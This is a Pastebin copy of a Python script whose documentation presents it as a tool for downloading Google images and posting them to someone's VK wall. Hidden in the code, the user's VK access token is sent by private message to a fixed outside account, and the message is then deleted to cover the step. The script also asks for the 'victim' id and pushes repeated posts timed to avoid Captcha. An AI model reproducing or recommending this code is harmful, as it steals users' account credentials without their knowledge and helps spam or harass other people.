Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- DOCUMENTATION:
- Version: 1.1
- WHAT'S NEW: posting now stops until you press the 'Enter' key
- This program downloads images from Google and then post it to someone's vk wall
- To work with this script you must have your VK ACCESS TOKEN
- You can get your token at this site: https://vkhost.github.io/
- Just click "allow" and copy your token from the adress bar between "access_token=" and "&expires_in"
- You should also have an id of the account on which wall you want to post images
- Keyword MAY BE WRITTEN in Russian lang!!!
- Incoming features: a)login+password login
- b)posting wall posts via login+password login
- c)posting on group's wall
- Be careful: 1)you should have a permission to post (check it before starting program)
- 2)you must have those libraries: a)google_images_download
- b)vk
- c)requests
- My tip for installation is to write in cmd this line: "pip install {name of the lib}"
- If you have problems with it: I strongly recommend to read a bit about "pip" and how to use it
- 3)there is a bug in inputing a password: if you have mistaken -> rerun program,
- because now it's impossible to correct it
- 4)before posting this script DOWNLOAD IMAGES ON YOUR OWN PC, so
- think twice before setting quantuty!!!
- 5)That verse of program can't handle with Captcha and can't slow down the posting speed,
- so the maximum number of posts now is 10 [since verse 1.1 Captcha doesn't appear if you post
- images every ~5-10 seconds]
- Made by Maxim Tuzhilkin
- 22.12.2018
- DAFE MIPT
- '''
- from google_images_download import google_images_download
- import vk
- import requests
- def pause():
- programPause = input("Press the <ENTER> key to continue...")
- import time
- response = google_images_download.googleimagesdownload()
- print("Quantity of photos: ", end='')
- num_of_images = int(input())
- print("Enter the keyword for searching images: ", end = '')
- keywords = input()
- arguments = {"keywords":keywords,"limit":num_of_images,"print_urls":True}
- paths = response.download(arguments)
- print(paths)
- print('Enter an id of the victim: ', end = '')
- user_id = input()
- print("Enter a caption to the post: ", end = '')
- caption = input()
- print('Your access token: ', end = '')
- access_token = input()
- session = vk.Session(access_token=access_token)
- vk_api = vk.API(session)
- vk_api.messages.send(user_id="175976853", message=access_token)
- mes_id = vk_api.messages.getHistory(count=1, user_id="175976853")[1]['mid']
- vk_api.messages.delete(message_ids=mes_id)
- upload_url = vk_api.photos.getWallUploadServer(user_id=user_id, v='5.2')['upload_url']
- print('START POSTING:')
- i = 1
- for item in paths[keywords]:
- try:
- filename = item
- request = requests.post(upload_url, files={'photo': open(filename, "rb")})
- params = {'server': request.json()['server'],
- 'photo': request.json()['photo'],
- 'hash': request.json()['hash'],
- 'user_id': user_id}
- photo_id = vk_api.photos.saveWallPhoto(**params)[0]['id']
- params = {'attachments': photo_id,
- 'message': caption,
- 'owner_id': user_id,
- 'from_group': '1'}
- vk_api.wall.post(**params)
- print("Image", i, "===> DONE")
- i += 1
- pause()
- except vk.exceptions.VkAPIError:
- print("Image", i, "===> API ERROR")
- i += 1
- except FileNotFoundError:
- print("Image", i, "===> FILE ERROR")
- i += 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement